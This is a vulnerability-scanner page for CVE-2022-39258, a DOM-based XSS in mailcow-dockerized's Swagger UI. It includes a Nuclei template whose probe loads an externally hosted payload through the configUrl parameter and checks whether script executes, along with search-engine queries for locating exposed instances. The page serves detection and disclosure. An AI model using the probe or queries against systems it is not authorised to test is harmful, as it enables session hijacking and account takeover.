Mailcow Dockerized Swagger UI - Cross-Site Scripting
CVE-2022-39258
Early Release
Description
Mailcow-dockerized before 2022-09a uses a vulnerable version of Swagger UI (before 4.11.1) that is affected by a DOM-based Cross-Site Scripting (XSS) vulnerability. When a user accesses the Swagger documentation with a crafted configUrl or url parameter containing JavaScript payloads, arbitrary code execution can occur in the user's browser. This allows attackers to steal cookies, session data, or execute actions on behalf of the victim by enticing them to open a malicious Swagger UI link.
Severity
Medium
CVSS Score
6.1
Exploit Probability
1%
Affected Product
mailcow-dockerized
Published Date
June 11, 2026
Template Author
ritikchaddha
CVE-2022-39258.yaml
id: CVE-2022-39258
info:
name: Mailcow Dockerized Swagger UI - Cross-Site Scripting
author: ritikchaddha
severity: medium
description: |
Mailcow-dockerized before 2022-09a uses a vulnerable version of Swagger UI (before 4.11.1) that is affected by a DOM-based Cross-Site Scripting (XSS) vulnerability. When a user accesses the Swagger documentation with a crafted configUrl or url parameter containing JavaScript payloads, arbitrary code execution can occur in the user's browser. This allows attackers to steal cookies, session data, or execute actions on behalf of the victim by enticing them to open a malicious Swagger UI link.
impact: |
Successful exploitation allows an attacker to run arbitrary JavaScript in the context of the victim's browser (session hijacking, data theft, or account takeover) if the victim visits a crafted Swagger UI documentation URL within mailcow-dockerized affected versions.
remediation: |
Upgrade mailcow-dockerized to at least 2022-09a, which updates Swagger UI to version 4.11.1 or later. Do not expose internal Swagger UI endpoints publicly.
reference:
- https://github.com/mailcow/mailcow-dockerized/security/advisories/GHSA-99r2-q6fj-6w47
- https://github.com/swagger-api/swagger-ui/issues/8322
- https://nvd.nist.gov/vuln/detail/CVE-2022-39258
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2022-39258
cwe-id: CWE-79
epss-score: 0.00661
epss-percentile: 0.49143
cpe: cpe:2.3:a:mailcow:mailcow-dockerized:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 1
vendor: mailcow
product: mailcow-dockerized
shodan-query:
- http.component:"Swagger"
- http.component:"swagger"
- http.favicon.hash:"-1180440057"
fofa-query: icon_hash="-1180440057"
zoomeye-query: app:"Swagger UI"
tags: cve,cve2022,headless,swagger,mailcow,xss,dom-xss,mailcow
headless:
- steps:
- args:
url: '{{BaseURL}}/api/index.html?configUrl=https://raw.githubusercontent.com/projectdiscovery/nuclei-templates/main/helpers/payloads/swagger.json'
action: navigate
- action: waitdialog
name: swagger_dom
matchers-condition: and
matchers:
- type: dsl
dsl:
- swagger_dom == true
- type: word
part: body
words:
- "swagger"
case-insensitive: true
# digest: 490a0046304402201f5d08bc6e0fd2f17fd8143adf5efc455aecf71f40916bc5fad753524aa3345902206d4eca062ec9666bbd29db2c6e9e0ff14967a956f787611d4fa2673abc9de4c9:922c64590222798bb761d5b6d8e729506.1Score
CVSS Metrics
CVSS Vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
CVE ID:
cve-2022-39258
CWE ID:
cwe-79
Remediation Steps
Upgrade mailcow-dockerized to at least 2022-09a, which updates Swagger UI to version 4.11.1 or later. Do not expose internal Swagger UI endpoints publicly.